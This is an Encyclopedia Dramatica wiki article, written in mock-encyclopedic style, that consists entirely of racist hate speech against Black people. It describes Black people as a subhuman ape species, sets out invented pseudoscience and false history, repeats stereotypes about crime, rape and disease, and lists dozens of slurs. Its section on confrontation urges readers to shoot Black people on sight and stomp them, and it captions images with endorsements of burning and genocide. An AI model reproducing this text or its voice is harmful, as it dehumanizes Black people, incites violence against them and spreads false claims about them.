Encyclopedia Dramatica - Things to revert [en]

Nigger

2026-07-31T17:18:16Z

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[[Image:Blacksrelax.jpg|thumb|Words of wisdom. Repeat after me, [[mormons|class]]!]]
[[Image:BlackShirtSaysNigger.jpg|thumb|left]]
[[Image:SmallBlackDick4.jpg|thumb|[[The Great Black Dick Hoax|Black men are known for their sexual prowess and their extremely large penises.]]]]
[[Image:Nigrobwimn.jpg|thumb|right|Just like the movie King Kong, real life monkeys don't let go once the white womenz is in their grasp]]
[[File:Reddit niggers.png|thumb|Nigger heaven – it's called [[Reddit]]. ]]
[[File:Reddit - they said they wouldn't read it!.png|thumb|So offensive that saying it on [[Reddit|Nigger Heaven]] will earn you an instant ban.]]

'''Niggers''' ''(Genus:'''Simius''', the Monkey; [[politically correct]]: '''Americanus Basketballensis''')'' are a species of apes devolved from interbreeding gorillas and orangutans (not bonobos/chimpanzees, higher life forms), and proof of the "Missing Link" theory in Evolutionary Biology as the more retarded simian cousins to the Neanderthal ancestors of our higher species ''[[White|Homo Sapiens]]''. Due to a lack of evolutionary pressure and incentives from their native environment, the Niggers were [[Mental retardation|unable to develop the IQ]] required for civilization due to mental retardation. Premature exposure to human civilization in fact overloads their cerebral cortexes, resulting in instinctive violence. This is known as a [[chimp out]] or a "Nigger Moment". This is why, when subjected to the stress of a human-dominated environment, a Great Ape specimen degenerates into the highly dangerous form known as the Nigger (example: what happened to [[Harambe]]). Niggers are [[poor]], retarded, so ugly that even animal lovers don't want to fuck them, and worse, they smell like a mixture of wild animal fur and a decayed old mop full of shit even after taking a shower. Having spent the last million years in the African jungle throwing spears at each other and swinging on vines, niggers are predisposed to crime and antisocial behavior due to their biology and (de)evolution.

Environments where a Human can observe how wild Niggers interact with Nature include: [[Africa]], [[KFC]], the [[Ghetto|Projects]] your local [[Prison|Zoo]], and getting [[Irony|executed for being a violent non-white monkey]]. Today, wild Niggers astray in Human environments are known to capture [[White|Human]] females and drag them back to their hives for breeding and/or lunch, though it is possible for a Human to condition the Nigger to temporarily conform to Human values via [[Slavery|specialized social rehabilitation techniques]]. For a [[Lulz|heart-warming end]] to your visit at the zoo, go to the primate enclosure and you may see some niggers spending some quality time with their relatives via their instinctive mating ritual of smearing each other with their pheromone-filled [[Shit|excrement]]. For this reason, [[Cops|zookeepers and professional veterinarians]] commonly mistake wild niggers for escaped chimpanzees and throw them into the chimp enclosure, where they quickly fit right in and [[Chimpout|fully revert to their monkey appearance]].

The diet of a nigger consists primarily of [[shit]] self-loathing and being a professional victim, fried chicken, watermelons, [[Kool-Aid]], [[Purple Drank]], malt liquor and cocaine with an extra topping of shit, all proven by science to have zero content of DHA necessary for human brain development. If the nigger is hungry, they will almost certainly resort to [[cannibalism]] and eat the closest monkey or niglet nearby. [[Ebola-chan]] was God's punishment for niggers eating each other alive and killing each other 100% of the time due to AIDS spreading from their rape. Niggers, like their tree-dwelling monkey forefathers, will almost always resort to their simian instincts, raping white women and throwing their own shit at other niggers due to their mental disability to comprehend abstract human values such as ethics, math, respect, and the Rule of Law. Because of the prevalence of violence in nigger territory, 9 out of 10 wild niggers are at risk of being captured by [[Cops|Animal Control]] and subjected to [[Lynching|Euthanasia]] before the age of three. Niggers also almost constantly make [[Rap|noise]] about raping Humans and stealing [[welfare]] checks from invalid grandmothers so they can pretend they bought those plastic spinning hubcaps they stole from other niggers to "pimp out" their stolen 1974 Cadillacs. Breakdancing was invented by niggers stealing hubcaps from moving cars.

The [[Negress|Nigger women]] are the most dangerous species. They're also stupid, poor, ugly, and stinky, but most importantly, they're [[fat]] obnoxious assholes. Nigger women, also known as negresses, [[Nigra|nigras]], sheboons, or sows, are land-whales who will constantly talk, yell, and babble to each other in public at ridiculous volumes. When challenged, nigger women show their stupidity as well, by taking off their earrings, shoes, and bling before fighting, as their brains are not big enough to know this has no fucking effect whatsoever. If you confront a negress in public, beware, for she will surely call her sistahs to [[Buttsex|"handle yo ass."]] They are thought to be the ugliest form of multicellular life in the entire animal kingdom, which is why male niggers will [[Rape|mate with]] other species, most notably their fellow yet more highly evolved apes, the Chimpanzees (from which [[AIDS]] is derived). Until the superiorly built [[White|Human Race]] arrived, both prostitution and AIDS were the result of niggers raping chimp hoes. Also, nigras, unlike human females who possess vaginas, have only one posterior opening: the asshole, used for both shitting and expelling niglets. This is why freshly born niglets are infused with the color and stench of severe diarrhea.

Another distinguishing feature of them is how they process and translate the [[English]] language into a complete abomination in order to make it more understandable for their diminished cortexes: [[Ebonics]]. For an example of Ebonics, try provoking the aforementioned Negroid sheboon into aggression.

All niggers, especially wild niggers, are dangerous in groups, regardless of gender, and travel in packs. This is because they wish to buy a large bucket of KFC chicken and some white hoes to share amongst their tribe. No respectable [[White devil|white people]] should ever come into contact with a gang of niggers. If you are a white person who has had contact with a nigger-[[No one|wait, who are we kidding?]] [[Dumbass|Niggers don't know how to read anyway.]] If you come into contact with a nigger, it is advisable to immediately shower for at least four hours, lest the black taint [[Furry|assimilate you and transform you into one ofi them.]] Luckily, the nigger taint, not unlike those it infects, cannot stand the touch of hot water or soap. This is the reason niggers stink.

==The term and its meanings==

[[Image:Happy-family.jpg|thumb|High pedigree monkeys.]]

"Nigger" was, in fact, NOT an offensive term, for it was a derivative of the Latin word '''nigrum/nigra''', which simply meant "black". When the Spanish conquered the world after the Renaissance, it changed to ''negro'', which in Spanish simply meant "black", with no offensive intent whatsoever. Thus, "negro" (aka "nigger") was originally a positive, friendly term [[at least 100]] years ago (read [[Mark Twain]] books and [[E.S. Nigger Brown Stand]]).

Then it changed to have an archaic definition as a pejorative. This old usage was mostly localized to [[North America]] and meant, in general, people with dark skin. First, [[Civil War|Abe Lincoln]] let the apes loose. [[Some Argue|This was widely regarded as a bad move]] and has enraged [[White|many people]]. However, the apes weren't grateful: they were [[butthurt]] about losing their rightful place in the world. Due to said butthurt, they decided that all the old terms for their kind were suddenly offensive. Taking a cue from this, other races began to use "Nigger" as an insult. This archaic usage is still used by American blacks who haven't gotten over their [[victim complex]] and by American whites (often college professors) with the baggage of [[liberal guilt]].

Due to the linguistic requirements of [[ebonics]] and all niggers being dumped off at Lake Forest Middle, it is now considered a friendly term among blacks and a verbal request to be murdered if said by anyone else. The more specific terms "thug" or "gangsta" refer to a negroid who feels the need to act like a hard-ass all the time for no apparent reason. Such "street niggers" are the bane of all civilized people.

But let's [[Serious business|cut the bullshit and get down to the facts here]], people. "Nigger" can now refer to [[True|anyone of any skin color]], but let's be honest... it's more commonly used to refer to a piece of shit black "person" who spends all of his time standing on the street corner drinking malt liquor, smoking crack, and plotting how to kill you and take your stuff.

===Alternative terms===
Many niggers are offended by some of the terms referring to their race (but not if they are used by a nigger). If you choose from this list, you might find one that the niggers you're talking about don't mind hearing: '''African-American, afro-American, abomination, ape, Aunt Jemima, black, blackfella, bluegum, boy, buckwheat, chimpanzee, Chimp, colored person, coon, cotton picker, gator bait, jigaboo, jive talker, jungle bunny, mammy, monkey, moolie, Moor, mud person, murder monkey, muthafuckah, my man, nappy head, negro, negroid, nigga, nig, niggah, nigger, nig-nog, nigra, nigaboo, person of color, pickaninny, porch monkey, groid, Sambo, schwartze, schvoogie, sharecropper, shine, shooter, shitskin, slave, spade, spearchucker, spook, tar baby, token, Tyrone, Uncle Tom, welfare monkey, coons, cotton-pickers, dawgs, jungle monkeys, colored people, chimps, pavement apes, chocolate people, homies, porch monkeys, groids, spooks, darkies, shit-skins, spades, jigaboos, gorillas, blackies, nigras, welfare sloths, kaffirs, mooncrickets and Antique farming equipment.''' Look {{wayback|http://www.usgennet.org/family/smoot/terms.html|20071230030222|title=HERE}} There are many archaic terms for various shadings of the breed.

'''Remember kids:''' a half-nigger is called an OREO COOKIE. Ya know, like [[Black Jesus|Obama]].

==Outside America==

The term "nigger" is seldom heard in the wasteland that exists outside the [[Lol|shining]] shores of Jewmerica, because while Jewmerica is the only nation to ever elect a nigger leader without vote-rigging, the unwashed foreign hordes enjoy feeling superior to Americucks while simultaneously oppressing their own niggers. Paradoxically, the unwashed foreign hordes use words like '''boy''' casually, sending stuck up, ''' usually white''', Amerimutt nigger apologists into spasms of indignation. However, the close relative of the Nigger, the [[Sand Nigger]], has made a comeback in [[Britain]]. The [[Apartheid|superior white South Africans]] also call them "kaffir", which is derived from the [[Sand Nigger]] word kafir meaning [[Homosexuals|infidel]].

==History==
[[Image:Human-evolution-from-ape-to-black-to-white.jpg|thumb|right|[[Liberals| Liberal race-denialists]] fail to acknowledge the Nigger's correct place in the evolutionary process.]]
Our very drunk [[God]] invented [[Animal|Niggers]] after losing badly at a poker night with [[Buddha]], [[Satan]], and whatever deviant gods the towel-headed [[Arabs]] claim to worship in between camel [[buttsecks|buggering]]. The first niggers were created from turds taken from dingy, smelly peat bogs located around Dundee, [[Scotland]], to be used as slaves to make white people's lives easier and find a market for the [[watermelon]], a vegetable posing as a fruit that normal white people would never eat.

It is also believed that a big piece of shit, shoved up an orangutan's pussy before being fucked by a skunk, evolved into the [[Animal|nigger]] and subsequently the brown color of the species because of the genetic structure of the piece of shit combined with the skunk cum in the orangutan pussy. Soon, the [[Animal|niggers]] discovered ancient texts that taught them to use the dark side of the force. It corrupted them, giving them unspeakable power as well as their characteristic dark color and smell. For [[over 9000 years]], the white man recognized this threat and waged war on the [[animal|niggers]]. Utilizing its superior numbers, the [[white people|white man]] defeated nigger-kind and stripped it of its power. After three hundred years of deserved servitude, most niggers were freed by a coalition/conspiracy [[butthurt]] liberals ([[Abraham Lincoln]]) and accidentally [[Oxymoron|freed niggers]] (Martin Luther King) who took advantage of the Confederate States of America and the failure of ten million inbreds to keep five million [[Animal|niggers]] dumb and happy picking cotton and eating watermelon.

In the late twentieth century, the [[Animal|niggers]] renamed themselves niggas in an attempt to shed their truly shady past. It didn't work, as shown by the saying "you can take the nigger out of the jungle, but you can't take the jungle out of the nigger." Niggers nowadays use their newfound freedom for constructive purposes, such as robbing liquor stores, shooting each other with Tec-9's, raping white women, and wearing clothes that are about ten sizes too big.

===Niggers in ancient times===
A lot of niggers believe that the ancient Egyptians were actually niggers. Yeah, right. Like a nigger can figure out how to mummify something. Or build a pyramid. Or make a chariot. (Though there are numerous hieroglyphic records of chariots being stolen by what the Egyptian cops called "baboon people," there are no records of niggas with Egyptian driver's licenses or chariot insurance. Some things never change.)

Another common nigger belief is that the ancient Greeks were just a bunch of fuck-tards until they stole the niggers' knowledge and got uppity. Nobody ever explained to the niggas that knowledge is not a physical, finite substance and that if somebody steals your knowledge, you still have it. There are no confirmed records of niggers ever having any knowledge at all, with the notable exception, during post-Civil War reconstruction, of knowing how to steal watermelons from Whitey's fields.

The [[Vikings]] referred to niggers as the [[Avatar (movie)|blue men]] because the words for "blue" and "black" were all messed up in their [[Swedish|silly hurdy-gurdy language]]. Some niggers even traveled with the Vikings (taking easily to the Viking career options of pillager, raider, [[rapist]] and thug) and married Viking wives (who were likely [[Aryan|pale skinned, blue-eyed, and blonde-haired]], demonstrating that niggers loved dem white wimminz even back then).

However, there is evidence that some Somali niggers were great pirates back in the day... Well, okay, that probably isn't too unrealistic once you think about it; looting ships armed with guns, swords, and knives, gangbanging white hookers and stealing gold and bling, [[No shit|it's not too surprising there]], g'noewatimsayun?

==Characteristics==
[[Image:Black Features.jpg|thumb|left|Features clearly visible]]
A Nigger is the long-sought-after "missing link" between man and ape. Their oversized lips, tight-curled hair, and love for fried [[chikins]], [[watermelons]], purple drank, [[Dat Ass|large asses]], jailhouses, crack rocks, and dat wyte pussay distinguish them.

The [[sheneequa|female]] version of this species of sub-human is the '''Nigress''', or "She-Nigger". They are known mostly for their completely oversized asses, their completely fucktarded names (Bix Nood, La'queesha, Tam'queesha, Mo'neeque, Mercades, LaFawnduh, Vazelineh etc), and their 6 inch long fake nails.

They tend to gravitate towards shiny things, which they call '''bling''', and cover their [[Bicycle|cars]] with them. They [[LOL WUT|believe]] that this makes them [[USI|special]], but in reality, it just makes them [[gay]] and [[retard|retarded]].
===Why niggers love watermelons and fried chicken===
Niggers are attracted to bright colors and large amounts of sugar, not unlike their cousins who swing from trees. Niggers get obsessed with trivial pleasures like watermelon, fried chicken, and bling because it stimulates a vestigial part of their primitive jungle brains. Niggers are, by their very nature, useless scroungers. They didn't grow anything, they didn't raise anything, and they didn't hunt anything. They've spent the last entire fucking millennium before captivity foraging for food on the jungle floor—minimizing their physical activity during the day and seeking to avoid predators during the night.

Ripe and rotting fruit was the mainstay of the Nigger diet in Da Muddaland. This was a huge bonus in terms of survival-easy to digest and rich in water and carbohydrates, it took very little energy to digest and assimilate.

Niggers today are still "Hard Wired" to get all excited over brightly colored fruit drinks, which is programmed into their DNA, and will invariably make a bee-line to the fruit punch and grape drink fountains in the cafeteria, thinking they've hit the jackpot!

Don't be fooled; niggers are still the same stupid, primitive apes they were 100,000 years ago. A few decades of MTV and Affirmative Action isn't going to change a damn thing!

==Types of Niggers==
[[File:Agdadgadgadggad.PNG|thumb|left|You'd best know [[Dead Nigger Storage|the difference]].]]
[[Image:Transnigger.png|280px|right|A [[wigger|transnigger]].]]
*'''[[Wigger|Wannabe Nig]]''': Someone who for unfathomable reasons seeks to become any of the other creatures on this list. May call themselves a "transnigger", "burned cracker" or many other Euphemisms.
*'''Quadroon''' ('''''Simius × sapiens'''''): A racial cocktail, consisting of one part mulatto, one part fat [[white trash]]. Shake well and incarcerate.
*'''The Nig''' ('''''Simius comis'''''): The Nig is essentially a nigger pretending to act civilized in order to rape your children. [[Obama|Obongo hisself]] is the most well-known Nig currently alive.
*'''The Negro''' ('''''Simius occidentalis'''''): The Negro is known for having all the basic traits of the nigger species. They share a fetish for fried chicken (most likely ''Church's Chicken'' because it's the cheapest kind) and purple drank (a fruit juice-cough medicine concoction, boiled sweets optional). Their attire includes clothes that are 10 sizes too big, fake gold chains, converse sneakers, flannel shirts that fit so god damn tight its [[gay|disgusting]], and custom baseball caps with flattened brims and the tags still on, cuz dey gotz dat sw@qq. Some niggers also are known to have dey dreds so deyz be lookz coolz n sheeit. These objects are not only retarded, but filthy and disease-ridden. If you see a nigger with dreadlocks walking toward you, [[rape|prepare your anus]].
*'''The [[Double Nigger]]''' ('''''Simius barbarus'''''): The Double Nigger makes up about [[over 9000|85]]% of crime in the U.S., as well as [[Occupy Wall Street|99%]] of all [[gangs]] . They're known for making JewTube videos in which they flash their 10 dollar bills while wearing their respective gang's "Cullaz", smoke blunts, and show off their Cerebral Palsy or some shit. The Double Nigger has been immortalized in Rockstar Game's Grand Theft Auto: San Andreas.
*'''The Niggest''' ('''''Simius africanus'''''): The Niggest are the indigenous niggers of Africa, a continent known for its [[AIDS]], and ass-backward society. Their skin is so black, that the only way you could possibly see them after dark would be if they [[trollface|showed their teeth]], but by then, it will be too late. This is the main cause of the spread of [[AIDS]] in [[Africa]], as it is in the nigger's (especially the Double Nigger and Niggest's) primal nature to [[rape]] anything that moves.

==Communication==
 
{{frame|<youtube>RrZlWw8Di10</youtube>|margin=auto}}
 
[[Image:EBONICS.jpg|thumb|left|[[Black Jesus|Black Honor Student]]]]
Since all niggers are too lazy to learn proper English, it is practically impossible to understand them. Their [[Ebonics|"language"]] is in fact the epitome of laziness. An example in modern ebonics is "ackin" for "acting" because [[Lazy|it's just too much effort to move the tongue to the roof of the mouth to make a "t" sound]]. The nigger is sometimes simply too [[retarded|derro]] to learn proper English."Hello, my name is Jamie" converts to "YO YO YO wazzup bitches and bitchets, my name is Jamie C, respectaz or I'll pop a cap in yo' white ass foo'!" A typical nigger's burn consists of putting random words together. Examples include [[Goatse|"yo ol' burnt skittle lookin' azz"]] or [[Pain series|"poptart frostin' bald head."]] After the niggers burn on each other, every other nigger laughs as loud as possible for 20 minutes with their hands in front of their mouths in an idiotic way and then starts shooting each other over drugs. The last nigger standing will then take all the drugs in an epic win. Hopefully, he'll kill himself after realizing his homies are dead, causing lulz.

Not to be confused with [[English]], for whites, [[Engrish]], for Asians, [[Spanish|El English]], for [[Mexicans]], Nigger Speak is it's own form of language, containing many profanities and numerous nonsense/useless [[nonsense|slang]] words in a single sentence. On the internet, this stupidity is magnified [[at least 100|at least 100 times]] and usually leaves all other races in a [[wtf]] moment. Unlike [[Leetspeak|13375p34k]], where the words have a minor purpose, Nigger Speak has no use whatsoever and is the [[Nigger|Nigger's]] way of getting back at the white man. The normal conversation between two fluent in Nigger Speak goes something like this: "Smh, lmlmlml, dat sht hd mi rolin on duh fukin flor" "Omkfc, ikr."

See here for an example of the North American Nigger, in its native habitat:
 
{{frame|<youtube>3qB2_q8XUrU</youtube>|margin=auto}}
 
{{quote|Blastin' Them Bitches to Tha Floor,Five-O Mothafuckaz Dead By Tha Police Department Front Door, I Waz Here Before You Heard The Term Hardcore!|Some nigga rapper AKA Madd-Rippah}}

==Hobbies==
[[Image:Eating Pudding.gif|180px|thumb|right|Niglet preparing for its life of [[diabeetus]]]]
[[Image:Nigger KING.jpg|300px|right|thumb|The result of centuries of selective slave breeding and [[Jews|money hungry sports team owners.]]]]
[[File:Dirty niggers in nigger tent.png|300px|right|thumb|Awwww look at them, they look so happy in their niggers tent]]
*[[Attention Whores]] worse than a drag queen
*Caring what others think(but pretending not to)
*Playing the race card (niggers secret weapon)
*Intimidating other animals
*Loving their cars and motorcycles more than anything in this world(including wife and kids)
*Using humans for their own benefit
*Mocking other species
*Mechanophilia (fetish)
*Pretending
*Pretending having money (but you'd know better, unless you're a [[Retard]].)
*Even taking stupid photos of them with money in their mouths
*Raping white [[wimminz]]
*Bragging about [[lie|their massive cocks]] (Which they don't know how to use)
*Being so fucking loud at movie theaters and plays
*Stealing from [[whitey]]
*[[Riots|Rioting]]
*Whining about [[The Man]] keeping them down
*Driving expensive cars to the welfare office
*Collecting welfare checks
*Spending welfare checks on chicken and rims
*Eating [[KFC]]
*Eating shit in Europe
*Robbing local [[7/11|convenience stores]]
*Stealing [[Bike|bikes]]
*Being [[You|a useless waste of space in general]]
*[[Rodney King|Getting beat up by the cops]]
*Taking loads of [[The Crackhead|crack]]
*Ripping dumb whitey with [[419 Nigerian Email Scams|419 scams]]
*Wasting precious carbon atoms
*Being [[Obama|fucking useless]]
*Pissing off [[Raptor Jesus|Jesus]]
*[[Ethiopia|Starving to death]]
*Fighting [[Africa|constant civil wars]]
*SHOOPED, NIGGA
*Shooting each other
*Stealing Air Jordans (nigger shoes)
*Joining gangs
*Eating watermelinz
*Becoming a whitey's [[slave|bitch]]
*Looking like [[shit]]
*Not going to school
*Sleeping in the streets
*Eating [[shit]]
*Spreading [[AIDS]]
*[[Fact|Getting thrown to jail for no reason]]
*Singing and clapping in church
*Tricking the Human race into thinking that they are one of us
*Performing drive-bys with an Uzi
*Shitting on your porch
*Being complete assholes
*Winning first place in a Monkey beauty pageant
*Stinking like shit
*Being negative influences on [[Wigger|dumb white kids]], [[Vietnam|even dumber, poorer asian kids]] and [[Spics]].
*Driving down the street and blasting shitty rap music out of their rusted out Cadillac/Chevy Caprice.
*Using Ebonics in the presence of intelligent white people, then getting pissed off when asked what the fuck they said.
*Tripping over their baggy pants as they run from the cops.

==Racial science==
[[File:DLemontruenegro.jpg|thumb|right|D'Lemonz shows off his pride on CNN]]

A brief, though multi-faceted encyclopedia entry on niggers was featured in the Swedish Nordic Family Encyclopedia Book, given out in 1913, which recounts the following:

{{quote|"The most important physical characteristics, by which these true niggers be separated from other ethnicities, art the following: 1) the strong prognathism of the cranium with a width index of 70-74 and abnormal thickness, which allows the nigger to endure blows, which unconditionally would crush a normal European skull /.../ 6) slender legs and wide, flat feet, with the big toe shaped almost like a "griptoe" and the flat heel protruding backwards. In mental respect, the nigger can be commonly said to stand at a child's standpoint with, as a rule, feeble aptitude and lively fantasy. He is happy and unconcerned, although occasionally ostensibly serious; he lacks power and endurance, commits to inspiration/impulses of the moment and swiftly altering moods, and is very sensitive with a distinctive sense for the comical. He is furthermore in possession of a rich inner life, can sometimes showcase distinctive friendliness, but acts, as a rule, shyly, leery and with a lack of any trace of mercy and compassion."}}

==Breeding Habits==
[[Image:Startyoung.gif|180px|thumb|left|WELL DEY HAFTA LEARN SUMTIME AND DA SOONA DA BETTA!]]
[[Image:Cock-pants.jpg|thumb|muh dik]]

Niggers are now required by Federal Law to breed only in [[Atlanta]] during Spring Break as part of efforts to keep the nigger population under control and reduce the need to buy riot gear and import watermelons from foreign sources. Not that they pay any attention to this law any more than they do to any other law. The act of niggers engaging in sexual reproduction with humans is classified as bestiality.

During the official nigger mating season, the nigger performs a fantastic mating ritual to locate a victim. First, said nigger smokes a shitload of weed. Then, the nigger hides in a mud puddle—years of evolution allow the nigger to simply blend in. After spotting the perfect white woman (niggers hate mating with their own kind, since all niggers secretly wish they weren't niggers), they jump out of the puddle and beat the innocent woman to the ground. After letting the woman beg to let her keep her virginity, the nigger proceeds to rape her in every possible opening, after which the nigger kills its forced mate for fear of its natural enemy, child support. If the said negro belongs to a hive, the nigger captures the woman and forcibly drags her to the hive for breeding.

Niggers fornicate heavily all year round. "Fornicating" with a nigger means raping respectable white women, fucking a dog in the ass instead of another nigger, or falling for a female's mating ritual. Niggers caught fucking a she-nig are cast out by their tribe of home-boys for breaking with tradition and being wack.

In spite of the U.S. breeding restrictions, many American Niggers simply go to other countries to spawn with humans and return with Nigger/humanoid hybrids. Hines Ward, Pittsburgh Steelers wide receiver, is the product of one such case... his daddy was a nigger who enlisted in the army for free college and healthcare, and his momma was a South Korean woman (a nigger will fuck anything that moves except another nigger, even if it's a respectable citizen of an ally of the government they serve). Hines, instead of building TV sets in Seoul for two dollars a fucking week, is the highest-paid member of the most famous team in the NFL (Nigger Felony League). He can catch and hit hard like a nigger, but he runs elusively like a skittering little chink. The combination is deadly for opposing defenses.

==Natural Enemies==
[[Image:DEM20.jpg|thumb|left|300px| Introducing the nigger's natural predator, the [[Red Neck]]. One of the best means of [[Genocide|controlling this pest's population]].]]
Although the nigger seems like a powerful foe, it has many natural predators. In addition to child support, one of the more visible predators who actively hunt niggers is the common [[redneck]]. Niggers hate rednecks almost as much as rednecks hate niggers, although both have much in common. They're products of selective inbreeding, are significantly lacking in intelligence and common sense to an almost fatal level, listen to music that is offensive to the ears and damaging to the other senses, drink alcoholic concoctions that differ very little from urine, and practice poor hygiene almost as an art form.

Probably the most widespread natural enemies of niggers are the common street cops or sheriffs, also known as "pigs", "blue devils", "the Man", or "the police" (po'- leece, in Ebonics). Cops are known to hunt for niggers on a continual basis not because they are racist but because [[Over 9000|99.9]] percent of crime is done by—you guessed it—niggers. To a cop, trying to bust a non-nigga for a crime like shooting at a barrel full of fish in hopes of nailing a duck. Niggas are the broad side of a barn when it comes to violating the law.

Another natural predator is the [[KKK]], although everybody agrees that contrasting the KKK with rednecks is useless because, truth be told, there ain't no fucking difference between the two groups at all. Every Klansman is a redneck, and every redneck is a Klansman.

In a peculiar turn of nature and society, the nigga is often its own natural enemy. If a nigga is actually guilty of doing harm to other niggas, like shooting them, stealing their money, setting up crack houses in their neighborhoods, and so forth, the other niggas refuse all aid to the cops who are trying to end their oppression. This nigga "don't snitch" policy has two beneficial effects: first, it lets the perp keep shootin', stealin', and dealin' crack, which pushes the nigga community ever downward into the muck. Second, the absence of nigga prosecution witnesses in court encourages the legal system to incarcerate a shitload of niggas regardless of their guilt, resulting in a significant reduction in the number of niggas on our streets and in the breeding population. And that's a good thing.

==The Nigra Civil Rights Movement==
Despite the niggas' being freed by whitey, there was still tons of racism, especially in the American South following the end of the [[Civil War]]. Groups of [[rednecks|Confederate soldiers]], still seething in butthurt rage after taking a much-deserved ass-whooping from their Northern masters, didn't want their former pieces of property to get away too easily. Nobody can blame them entirely; who else could bear the loss of valuable human working machines forced to pick cotton and perform hard labor without pay? As a result, the KKK was formed, and Jim Crow laws were implemented. Anyway, niggers were lynched in the 1800's and early 1900's because they were well hung.

An important part of the Civil Rights movement was the NAACP, an organization famously started by white people, then taken over by the niggs. The original meaning of "NAACP," forged during the civil rights struggles of the 1950s and 1960s, was "Niggers Ain't Acting Like Colored People." There were too many lulz in it, so Sambo changed it.

===Black History Mumf===
In 1976, a group of niggaz decided to set aside a mumf (a month, in Standard English) to demonstrate to the world that Africans and peoples of African descent had contributed to the advancement of history. Knowing that there actually were no such contributions and that nobody would be interested if there were, the niggas chose February, the shortest, coldest, and most miserable month of the year.

Every February, schools, libraries, and other governmental offices put up displays purporting to honor nigga contributions. The actual contributions of the race (to brutal sports, popular music with filthy lyrics, and criminality of all sorts) are taboo, of course. Well-meaning white folk show off a few niggas who assisted Caucasian do-gooders in freeing the Nigga from slavery (BIG fucking mistake, Whitey!), the guy who invented the traffic light, the handful of niggas who knew how to write books, and a few other made-up stories about nigga accomplishments.

For 28 days, school kids and others laugh at the pathetic nature of the race, and at the end of the mumf, everything is put away for another year.

===Niggers try to Ban their own name===
On July 9th, 2007, a group of niggers at the NAACP believed that if they symbolically buried the word nigger, people would stop using it. As soon as this was broadcast, everyone in the world cried out "NIGGER!", proving that even stupid shit like this will not ban a word. Sorry niggers, you'll never win. Niggers try to ban their own names because they crash into each other and output poop to pull off a poop orgy.

By July 10th, the infamous n-word had resurrected and attached itself to people like Jesse, Sharpton, Michael Vick, Halle Berry, and others. That muthafucka's gonna be tough to take out!

==Confronting a Nigger==
[[Image:Curbstomp.gif|thumb|left|How to deal with niglets.]]
When confronting a nigger in everyday society while unarmed, it is best that you contact your nearest [[Skinhead]] or [[pigs|law enforcement official]]. As a safety precaution, if you are armed, shoot them on sight and immediately proceed to [[pwn|curbstomp]] the fuck out of them. See Edward Norton for tips on how to best handle a nigger). If unarmed, your only hope is to scream "[[Ebonics|OH LAWDZ IS DAT SUM CHIKUN?!]]" and use the distraction to avoid raep. Interacting with a nigger is highly discouraged as it is more than likely you will be immediately raep'd, robbed, and/or transferred [[AIDS|HIV/AIDS]].
[[Image:Burnt Nigger.jpg|thumb|right|200px|[[Kill it with fire|An example of how to properly end your conversation with a nigger after confrontation.]]]]

===Surviving a nigger attack===
As you walk or travel through nigger territory, and if you can not see more than 50 to 100 feet in front of you, call out every few minutes until you enter a clear area. Some people call out, others sing, some wear nigger-bells. The point is to make a lot of noise. In most cases, the nigger will run away in a state of confusion.

If you see a nigger, talk to the nigger; study and utilize the standard {{wayback|http://christianparty.net/niggerapology.htm|20071230030222|title=Nigger Apology}}. If this is ineffective and he begins speaking in retarded, low-pitched ebonics, talk to him in soothing tones about things he is familiar with, such as muh dick, [[watermelonz]], rap music, and bling. Don't talk too soothingly, or he may think you are trying to be all gay on him. Niggers are known for being very sensitive about their supposed "manhood". Make sure he sees you. Hold your arms high above your head. This will make you look like a much bigger person to him. Continue to talk and slowly back away. If you run, he will chase you. Niggers can run and jump extremely fast.

If the nigger lunges at you, jump into the water (niggers are horrible swimmers). If you are in an area without water (such as the ghetto or the desert plains of Africa), run in a zigzag motion towards a police station or the white part of town. This will surely confuse him. Whatever you do, DON'T climb a tree. Niggers have had plenty of practice at this sort of thing, as their tree-climbing instincts were honed to a razor edge deep in the jungles of Africa.

Another popular defense against niggers is to carry nigger spray. This has soap and water in it, which niggers hate. If you spray the nigger, he may change his mind or break off an attack, although he may become infuriated and enter a furious black rage. Stay away from niggers. Many tourists think they look cute and like to get close enough to take a picture. Do not be stupid. Also, remember that a niggress with baby niggers is very protective and dangerous and may attack even though you think you are a safe distance away.

No matter how much it begs, never give a nigger your change. This will only attract even more niggers. Many AIDS outbreaks have spread into otherwise clean areas just from niggers being attracted to the sound of loose change. Do your part to keep the epidemic down. Do not try to touch or pet niggers. Their behavior is unpredictable. They might [[Rape|bite]] and poison you with their sharp [[Rape Rodent|teeth]]. Only younger specimens can be trained to serve [[Slavery|a good cause]]. [[Suicide|DO NOT APPROACH THE HERD OF MORE THAN 2 NIGGERS!]] They might confuse you with a bucket of chicken, and [[Om nom nom nom|feed on you]].

=='''{{archive|XWs7t|How to be a Nigger}}'''==
{{main|Wigger}}
[[Image:How to be black.jpg|200px|right]]
*Develop a Strong Sick Sense of Entitlement ( YOU YOU and YOU)
*Avoid Personal Responsibility( a must)
*Play Dumb ^
*Make other people tolerate your bad behavior(if not just say: That's racist )
*Be clueless
*Develop an Inferiority Complex (look angry)
*Manipulate the system (always)
*Make excuses and blame everybody for your miserable life (always)
*Be totally in denial
*Lie about how big your dick is all the time, and about how many white women you fucked while their husbands were away at work. This way, you feel wanted by someone other than law enforcement.
*Bounce as much as you can, bobble your head up & down and back & forth, and hold your crotch when you walk. Don't forget to lick your lips as much as possible.
*Wear the largest clothes you can find. Wear your cap backwards or sideways. Wear a bandana underneath the cap if possible.
*Screw as many fat negro sows as you can, this way your illegitimate children help the mothers bleed the government dry, and you can lie to yourself about what a "playa you is".
*When you get pulled over and arrested for the trunkful of weed in your Sedan deVille, yell racism and racial profiling (even if the cop is black, he's an oreo). Make sure the Nation of Islam and the NAACP hear about your case. Don't forget the ACLU.
*It doesn't matter how shitty your car is, put the biggest diameter rims on you can find, and the most expensive stereo system. Ride around in white neighborhoods at night and play rap music as loud as you can. We love the rattling trunk, we really, really do.
*Talk as loud as you can whenever you can. Especially in libraries or theaters. Black women, this is a perfect time for you to chimp out on your "boo". Remember, white folks invented home video just because of you.
*When begging for money, act offended at white folks who only give you a dime or a "solid quattah" instead of a five dollar bill. This is a reasonable means to attack or mug them. When you get caught, state your reason as "dey wuz white." The media and the ACLU will come to your rescue, so don't sweat it.
*Always whine about how the white man is keeping you down, and how you are owed slave reparations. Even though you've never been a slave and could never survive it because you're lazy.
*Wear a lot of fake gold around your neck and fingers. Go to the dentist and get those rotten teeth replaced with gold implants. Go ahead, you know you're going to stiff the dentist. If he keeps harrassing you about the bill, call the NAACP.
*Say stupid things like "YEEAAAAAAHHHHHH, BOOOOOOYYYYYYYYY!!!!" or "BEEEEYYYYOOOOOOTTCHHH!!!!!" Use ebonics so you don't have to sound intelligent like white folks.
